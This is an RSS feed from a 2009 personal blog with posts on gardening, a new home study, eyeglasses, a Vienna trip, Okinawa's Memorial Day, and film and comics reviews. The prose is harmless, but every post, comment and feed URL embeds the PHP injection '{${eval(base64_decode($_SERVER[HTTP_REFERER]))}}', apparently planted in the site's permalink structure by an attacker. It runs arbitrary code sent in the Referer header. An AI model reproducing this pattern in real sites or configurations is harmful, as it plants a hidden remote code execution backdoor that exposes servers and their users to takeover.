goyablog http://goyaboy.org/blog bitter, but good for you Mon, 14 Sep 2009 03:49:45 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 goyablog is dead, long live goyablog! http://goyaboy.org/blog/2009/09/13/goyablog-is-dead-long-live-goyablog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/09/13/goyablog-is-dead-long-live-goyablog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 14 Sep 2009 03:49:45 +0000 goyaboy http://goyaboy.org/blog/?p=1680 Goyaboy and goyablog needed a change and fresh start — call it a mid-life blogging crisis — and so, as I begin working in my new study after having planted my new garden, I have moved and refreshed goyablog. It is still bitter and still good for you, but you’ll have to find it here. Be sure to read the “goyainfo” page for more whys and wherefores. And be sure to bookmark it anew.

]]> http://goyaboy.org/blog/2009/09/13/goyablog-is-dead-long-live-goyablog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Greenification http://goyaboy.org/blog/2009/09/09/greenification/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/09/09/greenification/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Sep 2009 15:29:27 +0000 goyaboy http://goyaboy.org/blog/?p=1675 I spent the last four days landscaping around the new addition and ended up planting these:

1) Ligustrum japonicum (Japanese Privet, 5)
2) Ilex crenata ‘Soft Touch’ (Soft Touch Japanese Holly, 3)
3) Pinus mugo pumila (Swiss Mountain Pine, 3)
4) Juniperus conferta (Shore Juniper Blue Pacific, 12)
5) Thymus serpyllum (Mother-of-Thyme, 10)
6) Rosmarinus officinalis (Rosemary, 2)
7) Golden Carpet (have to look up full name, 6)
8) Abelia X grandiflora ‘Rose Creek’ (Rose Creek Abelia, 1)
9) Pieris japonica ‘Valley Rose’ (Japanese Pieris ‘Valley Rose,’ 2)
10) Acer palmatum ‘Kiyohime’ (Japanese Maple ‘Kiyohime,’ 1)

Given that I am now transitioning to my book chapter that involves the greenification and tropicalization of Okinawa after the war, I figured that a little greenthumbing was in order. Photos to follow once I finish laying the rock garden.

]]> http://goyaboy.org/blog/2009/09/09/greenification/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 The Adult Tree House http://goyaboy.org/blog/2009/09/07/the-adult-tree-house/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/09/07/the-adult-tree-house/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 08 Sep 2009 04:13:07 +0000 goyaboy http://goyaboy.org/blog/archives/1674 My new study, from the inside west and east and before I junked it up with my junk. 

See and download the full gallery on posterous

Posted via email from Gerald’s posterous

]]> http://goyaboy.org/blog/2009/09/07/the-adult-tree-house/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 My HD Specs with Matching Mouse http://goyaboy.org/blog/2009/09/02/my-hd-specs-with-matching-mouse/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/09/02/my-hd-specs-with-matching-mouse/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 03 Sep 2009 02:42:50 +0000 goyaboy http://goyaboy.org/blog/archives/1673

Call it obsessive–I call it a controlled coincidence–but my new glasses match my new desk chair AND a new wireless mouse…

Posted via email from Gerald’s posterous

]]> http://goyaboy.org/blog/2009/09/02/my-hd-specs-with-matching-mouse/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 My HD Lensbaby Specs http://goyaboy.org/blog/2009/08/30/my-hd-lensbaby-specs-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/08/30/my-hd-lensbaby-specs-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 31 Aug 2009 03:17:15 +0000 goyaboy http://goyaboy.org/blog/archives/1672

I got new specs this week; in another age they would have been bifocals. Today they are superduper Seiko HD digital progressives. Yup, I have HD digital glasses. But all that means is that some digitally controlled computer etched the backside of the lens in order to increase clarity through focal ranges–and to increase price. As with all progressives, the periphery gets blurred, which I think of as selective focus, as in my favorite lensbaby photos. And yes, one reason I got green and black frames is because they match my new Steelcase Cobi task chair upon which the specs sit on this photo. I'll pose them next to the matching wireless mouse later….

Posted via email from Gerald’s posterous

]]> http://goyaboy.org/blog/2009/08/30/my-hd-lensbaby-specs-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Our addition as of July 26 (Testing Posterous) http://goyaboy.org/blog/2009/08/17/our-addition-as-of-july-26-testing-posterous/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/08/17/our-addition-as-of-july-26-testing-posterous/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 17 Aug 2009 19:09:54 +0000 goyaboy http://goyaboy.org/blog/archives/1670

This is simply a test of Posterous autoposting to my blog, Flickr, and Facebook. Oh yeah, and it IS a photo of our addition (his 'n her studies) in the back of our house. I'll post more that with fresh photos later.

Posted via email from Gerald’s posterous

]]> http://goyaboy.org/blog/2009/08/17/our-addition-as-of-july-26-testing-posterous/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Virtual OR in SL http://goyaboy.org/blog/2009/07/19/virtual-or-in-sl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/07/19/virtual-or-in-sl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 20 Jul 2009 02:08:01 +0000 goyaboy http://goyaboy.org/blog/?p=1665 second-life-medweb
In my first-year writing seminar “Self & Cyborg in Japanese Animation” we have quite a few philosophical discussions about virtuality, simulation, fake memories, and the like. Most of it functions on a theoretical level, as philosophical puzzles to think with, to pose liminal scenarios, to defamiliarize common knowledge. Given that it tends to be theoretical in my class, it’s always nice to read about real-life concrete applications of virtual space. This latest article I came across is about the use in med schools such as Imperial College London of Second Life to train students in getting around in an OR, diagnosing patients, working in teams with doctors and nurses from across the world, and saving the virtual lives of dying avatars. Cool stuff. Making the virtual a virtue.

]]> http://goyaboy.org/blog/2009/07/19/virtual-or-in-sl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Killing Virtual Germans http://goyaboy.org/blog/2009/07/14/killing-virtual-germans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/07/14/killing-virtual-germans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Jul 2009 01:44:17 +0000 goyaboy http://goyaboy.org/blog/?p=1661 I’ve recently taken up casual play of Call of Duty (the original version that was recently ported for download to Mac Intel machines) and it occurred to me whether or not such WWII games, especially first-person shooters targeting virtual Germans, are sold and played in Germany. The thought was actually more specific: what would it mean (if anything) for teenage Günther to blow away virtual versions of his grandfather? Would it be a problem? Would anyone care? Should anyone care? If it is a problem one should care about, why? After a bit of casting about on the Web, I was able to glean that it seems as if media such as violent video games in general are more restricted to minors in Germany and that what’s restricted are excessive displays of gore and display of swastikas. So, apparently little Günther can blow away  virtual versions of Nazi soldier grandpa & co. as long as bloody body parts and swastika flags aren’t flying. Of course there could be a German version where you play the Germans and shoot Americans and Russians and Brits and French, but there can’t be. Imagine the outrage that might provoke — a WWII first-person shooter where you are supposed to identify with the evil losing side. However, how is that different from any Avalon Hill WWII board game, such as The Battle of the Bulge that my dad and I used to play? Is it the first-person POV and graphic firing of weapons and killing of pixel-persons rather than the pushing about of tokens representing infantry and Panzer units that’s the difference? Probably. I find this interesting. Germany and Japan seem forever relegated to the receiving end of any WWII first-person shooter. Is that right? Any Goyagamers out there please correct me if I’m wrong. (I’ll provide screen shots some other day :)

]]> http://goyaboy.org/blog/2009/07/14/killing-virtual-germans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Learning from Monkeys http://goyaboy.org/blog/2009/07/12/learning-from-monkeys/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/07/12/learning-from-monkeys/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 12 Jul 2009 22:03:51 +0000 goyaboy http://goyaboy.org/blog/?p=1657 I came across this video and just had to share it. To me, it is a revelation, life-changing, paradigm-shifting, and — as our host says — mind-blowing:

Click here to view the embedded video.

I want to go buy a bunch of bananas now to try this.

]]> http://goyaboy.org/blog/2009/07/12/learning-from-monkeys/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 My Dell Mini Obsession Enlarges http://goyaboy.org/blog/2009/07/11/my-dell-mini-obsession-enlarges/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/07/11/my-dell-mini-obsession-enlarges/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 12 Jul 2009 02:19:33 +0000 goyaboy http://goyaboy.org/blog/?p=1655 I didn’t intend to bid for a Dell Mini 10v that was souped up with a 320GB hard drive, 2GB RAM, WiFi-N, and OSX 10.5.7 preinstalled and all the necessary tweaks to the 10v already done to make it work all right with OSX, but, well, I felt sorry for the guy who posted it “Buy Now $575″ and hadn’t gotten a single bid at the starting price of $400. I did the calculations that I could have picked up a refurbished one from Dell Outlet with a 15% coupon for around $260 and then do the hard drive and RAM upgrade myself (not super easy to do, but doable enough) for about $100 more, but it wouldn’t have WiFi-N and it would be a 1024×576 screen, not the later 1024×600. Add to that the time to hack and tweak (which I actually like doing) plus the preinstalled iLife (another $50), plus the original 120GB hard drive with Windows XP on it, I figured that if I could actually snagged it for $400, then it was worth it. And this was a virtually new machine, not refurbished. How could I let it go? So, I asked a bunch of questions of the seller who was very helpful and fun to chat with–he even asked for the mirroring off code needed to properly use the Mini 10v with an external monitor (he hadn’t figured on that), which I sent him and then he applied it, photographed the unit working with his bigass 42″ HDTV, and sent me the photo to demonstrate its functioning. He clearly wanted to sell this thing. So being a Good Samaritan, I helped him out. WIth 30 seconds to go I decided to bid the lowest amount and figured if no one else was in the game then it was meant for me (or Sara or someone). Well, $400 it was, with free shipping, no tax. It’s already on its way. My problem now is finding a new small bag for it because I don’t think it’ll fit in the Target-bought bag I have for my Mini 9. Who knows what I’ll do with it — users say they love the bigger more normal keyboard and the larger screen helps a bit. However, I really truly love the small form factor of the Mini 9 and its 2.2lbs (the 10v is 2.5 lbs. plus it has the upgraded 6-cell battery that sticks out the back and weighs another half-pound or so. I might end up flipping it if it doesn’t truly overwhelm the 9. It should get here in a week or so.

]]> http://goyaboy.org/blog/2009/07/11/my-dell-mini-obsession-enlarges/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Google Voice = Google Goodness http://goyaboy.org/blog/2009/07/11/google-voice-google-goodness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/07/11/google-voice-google-goodness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 11 Jul 2009 21:24:01 +0000 goyaboy http://goyaboy.org/blog/?p=1650
“Welcome to Google Voice! Google Voice gives you a single phone number that rings all your phones, saves your voicemailonline, and transcribes your voicemail to text. Other cool features include the ability to listen in on messages while they are beingleft and the ability to make low cost international calls. To start enjoying Google Voice, just give out your Google Voice number.You can record custom greetings for your favorite callers or block annoying callers by marking them as SPAM. Just click on thesettings link at the top of your inbox. We hope you enjoy Google Voice.”

Yesterday I FINALLY got my invitation for a Google Voice number, completing, for the time being, my Google Universe. After going through hundreds of available numbers for the Nashville area (in theory I could have gotten a number for Beverly Hills or Manhattan if I were pretentious enough to do so), I settled on one that’s easy to remember, easy to dial, and full of lucky 8s. GV is pretty cool because I can set it to ring whatever phones I want for whichever people I want. For example, my family members ring my iPhone and home phone while Sara’s family members ring her iPhone and home phone. The kids could in theory (if they had cell phones) have only one number to remember to ring all our phones, including work phones. International rates meet or beat Skype. And I can make international calls from abroad to the US on any phone (or on the GV website) for cheap as long as I go through the Google Voice phone system. All very cool things; I recommend  Google voice to all. Accounts are free with Google gmail accounts, but if you’re not in the queue for a number it might take a while for an invitation. Another feature are call widgets to embed on blogs. This one should send you straight to my Google Voicemail after a few rings. All you need to do is put your name and the phone number of the phone you’re calling from. It’ll ring you and connect to GoyaVoicemail:

]]> http://goyaboy.org/blog/2009/07/11/google-voice-google-goodness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 300 (USA, 2007, ATV) http://goyaboy.org/blog/2009/07/06/300-usa-2007-atv/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/07/06/300-usa-2007-atv/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 07 Jul 2009 02:08:24 +0000 goyaboy http://goyaboy.org/blog/?p=1647 picture-1

At long last I watched the film 300 last night. I had been avoiding it because of all the hyped up criticism of its depiction of the Persians as decadent monsters and the Spartans as Abercrombie and Fitch poster boys with swords. Yes, the Persians are depicted as decadent (transsexual) monsters and the Spartans could indeed be straight out of an Abercrombie and Fitch poster. And yes, liberties are taken with historical details. But this is a film based on a fictional graphic novel, and a damn good one at that. I was wanting to watch it mainly to see how the graphic novel (which I have not read) was translated to film. It was mostly shot with superimposed chroma key with oodles of CGI effects. The result is visually arresting, very stylish (another predictable criticism — the aestheticization of violence), and completely entertaining. The choice of dropping out all but accent colors with the chroma key and adding a subtle graininess to evoke the palette of the graphic novel is beautiful. Slow-mo and stop-motion are used to great effect, and the fight scenes are fantastically choreographed — as exciting and dynamic as any HK martial arts fight on wires. I watched this film a day after watching “Taken” — what a crappy movie that is, not even worth commenting on — so it seemed even that much better. Having also low expectations might have helped as well. In any case, a film worth seeing before being pre-judged.

]]> http://goyaboy.org/blog/2009/07/06/300-usa-2007-atv/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Undestanding Comics http://goyaboy.org/blog/2009/06/28/undestanding-comics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/28/undestanding-comics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 29 Jun 2009 02:52:04 +0000 goyaboy http://goyaboy.org/blog/?p=1644 picture-1
I recently finished reading Scott McCloud’s minor classic, Understanding Comics: The Invisible Art, and highly recommend it to anyone interested in discussions of art, comics (Euro-american and/or Japanese), and media in general. Itself is written as a comic as it defines and analyzes how comics—an often underrated art—work. In the process, McCloud brings in a good deal of art and comics history and brings clarity to what makes comics a very particular, complex, and utterly fascinating art form. The form and content of his presentation are very smart, engaging, often amusing. And you come away having learned a LOT. In particular, I think his discussion of time and narrative in comics is illuminating and in shedding light on the strangeness of the treatment of time in comics he sheds light on time in other media (photography, film, painting, novels). And his handling of how the eye and brain process iconic and symbolic visual forms has application far beyond comics. You might want to check out McCloud’s blog as well for interesting tidbits. That he mentions in his book Marshall McLuhan has prompted me to pick up another book I’ve been meaning to read for a while, McLuhan’s major classicUnderstanding Media. I think I like the prospect of “understanding” stuff if I read these books. (BTW, I’m still in the midst of reading Neil Gaiman’s Sandman comic. I think I’m about through 18 of 75 issues. Very dark, very good.)

]]> http://goyaboy.org/blog/2009/06/28/undestanding-comics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Irei no Hi (Memorial Day) http://goyaboy.org/blog/2009/06/23/irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/23/irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 23 Jun 2009 21:58:01 +0000 goyaboy http://goyaboy.org/blog/?p=1638 Okinawa just had its Memorial Day today, marking the 69th anniversary of the end of the Battle of Okinawa. I’ve been to at least three June 23rd events in Okinawa, June being the time I have usually gone to the island. In addition to the formal prefectural ceremonies at Mabuni:
ireinohi2
and the march of the Okinawa Bereaved Families Association:
ireinohi3
there are also private observances at memorials and grave sties:
ireinohi1
Coincidentally, today I’ve been re-reading the first chapter of my longstanding Okinawa tourism project and it’s all about the formation of war/peace memorials and even mentions the formal adoption in 1966 of June 23rd as Memorial Day (it had been established as June 22nd a couple years previous). I’m using this coincidence to get back into that project; it has been sitting for too long and I’m on leave now to finish it. I aim to have the next chapter done in a month and then another in a month after that. Maybe sooner. It’s hard to sit down with my materials and read and write without a proper study (aka. Figals’ Folly). I’m skeptical of that being completed within a month, but hopefully by August 1 new inspirational study space will be ready to use.

]]> http://goyaboy.org/blog/2009/06/23/irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 The Death of Kodachrome http://goyaboy.org/blog/2009/06/22/the-death-of-kodachrome/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/22/the-death-of-kodachrome/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 23 Jun 2009 01:49:24 +0000 goyaboy http://goyaboy.org/blog/?p=1636 While there is the “Film Is Not Dead!!” Flickr group, one hallmark film type has its days numbered. Kodak announced today that it is ending its production of Kodachrome film. Demand has shrunk to practically nothing and apparently only one lab in the world still processes Kodachrome, Dwayne’s Photo in Parsons, Kansas. Kodak lost $4.58 billion in market value in 2008 and despite trying to carve a spot in digital photography, it started too late and hasn’t really produced anything worth buying. I remember my uncle in Windsor, Colorado where there was a big Eastman Kodak plant chiding me for using Fuji film because that plant was the town’s livelihood. I guess he would be cursing all digital camera users now. I guess it’s slightly sad to see Kodachrome go the way of the dodo only because I have certain childhood memories in those little yellow rectangular boxes. But I won’t miss it too much.
Now if they could put an end to that horrible Paul Simon song as well….

]]> http://goyaboy.org/blog/2009/06/22/the-death-of-kodachrome/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 The Concert We Heard http://goyaboy.org/blog/2009/06/18/the-concert-we-heard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/18/the-concert-we-heard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 19 Jun 2009 03:33:32 +0000 goyaboy http://goyaboy.org/blog/?p=1634 Vienna is known for its music, but you don’t have to go to the symphony or opera to hear it. As we wandered back from dinner one night, we encountered this young Czech man playing wine glasses on Graben (a main shopping drag and pedestrian street):

Click here to view the embedded video.

]]> http://goyaboy.org/blog/2009/06/18/the-concert-we-heard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 At Café Prückel http://goyaboy.org/blog/2009/06/16/at-cafe-pruckel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/16/at-cafe-pruckel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 16 Jun 2009 15:02:57 +0000 goyaboy http://goyaboy.org/blog/?p=1626 Cafes in Vienna are legendary; ones with free internet are even better. Yes, Café Prückel has a bin full of international magazines and newspapers, but I have the world at my fingertips with my MacBookMini. Sara and I just had espressos and pastries (she cherry, me apple) and just had to try out sending iPhone photos and blogging just because we could. This cafe is not one of those of fin-de-siecle fame. Well, actually it did exist back then, but was redone in the 1950s with (now) retro Fifties furnishings, so it’s rather atypical. Sara took a photo of me that she’s just finished processing and sending to me. Here it is:

atpruckel2

And another one of me sending to a colleague (who is from Vienna and recommended Prückel) a photo of Sara on my iPhone:

atpruckel

Okay, time to get out of the virtual Vienna and into the real…. No wait! We need a hyper-self-referential photo of Sara reading this entry on her computer while it is on my computer at the same time:

atpruckel3

NOW we’re ready to jump back into the analog world….

]]> http://goyaboy.org/blog/2009/06/16/at-cafe-pruckel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 “The straight line is Godless” http://goyaboy.org/blog/2009/06/15/the-straight-line-is-godless/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/15/the-straight-line-is-godless/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 15 Jun 2009 22:23:44 +0000 goyaboy http://goyaboy.org/blog/?p=1617 So says Friedensreich Hundertwasser. And on that principle this Austrian architect has designed buildings and dwellings that eschew level surfaces and straight lines. Perhaps his biggest achievement in this direction is the waste incinerator “Fernwarme” in Vienna. His typical whimsy with curves and spires and colors abound in this most atypical incinerator:

p1030655

It’s a fantastical building and is fully functional as an incinerator. I saw dumpsters of junk being hauled into it.  In keeping with Hundertwasser’s dictum, I took out my lensbaby plastic optic and shot out-of-focus details:

img_4202

img_4194

For more examples of Hundertwasser’s work, follow the wiki link above. Cool stuff.

]]> http://goyaboy.org/blog/2009/06/15/the-straight-line-is-godless/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Vienna, Revisited http://goyaboy.org/blog/2009/06/14/vienna-revisited/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/14/vienna-revisited/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 14 Jun 2009 13:08:15 +0000 goyaboy http://goyaboy.org/blog/?p=1610 For those of you who do not follow my facebook page or on twiiter, our flight from Nashville to Vienna via DC and Munich went from a total of 14 hours to 20+ hours because of weather delays in DC. We actually sat in the plane on the tarmac for 6 full hours before finally taking off. It was rather miserable. We did, however, finally make it here three days ago. Unfortunately, the hotel Sara was put up in during the conference did not have free internet, but here at the Hotel Austria they are less primitive. It’s quite a nice hotel in City Center, but quietly located down a small cul-de-sac. Best of both worlds. Sara is napping after we each ate a giant Bosna–sausage sandwich with grilled onions and curry powder. I think the plan for this afternoon is the walk around a look at architecture and stuff, maybe a cafe and/or gelato. We did get a half-day a walking around in before the conference started. I had to show Sara the statue at the Hofburg gate which I photographed and captioned “Omigoditsgone!” when I was here 3 and a half years ago. Of course, I had to re-photograph it. Here it is, “Omigoditsgone! Revisited”:

omigoditsgone

You can see the first version here.

]]> http://goyaboy.org/blog/2009/06/14/vienna-revisited/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Time for Wiener Schnitzel http://goyaboy.org/blog/2009/06/10/time-for-wiener-schnitzel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/10/time-for-wiener-schnitzel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 10 Jun 2009 14:59:02 +0000 goyaboy http://goyaboy.org/blog/?p=1601 800px-wiener-schnitzel02

Sara and I are leaving for Vienna today. She for a conference and me to eat. And drink. And walk around and take photos. I also hear that they have some pretty neat cultural stuff there too which I might check out if I have the time. We’re there for a week, but have no fear, Goyablog will be online because apparently they have internet there too. So, expect posts from abroad over the next week. This will be the first international test for my MacBookMini (which btw, I upgraded by giving my mom my first one and buying a new refurbished one from Dell which has a webcam and is shinier.)

Update: We are sitting on the tarmac at Dulles airport at 6:30pm waiting for a re-route due to weather. Been here for an hour and will likely miss oyr connection to Vienna. We are hungry and there is no wiener schnitzel here… Not happy, Bob.
Final Update: We ended up in the plane for SIX HOURS before taking off. So not happy. But we made it to Vienna by dinner time Thursday, but didn’t have schnitzel–opted for Turkish lamb kebops instead….

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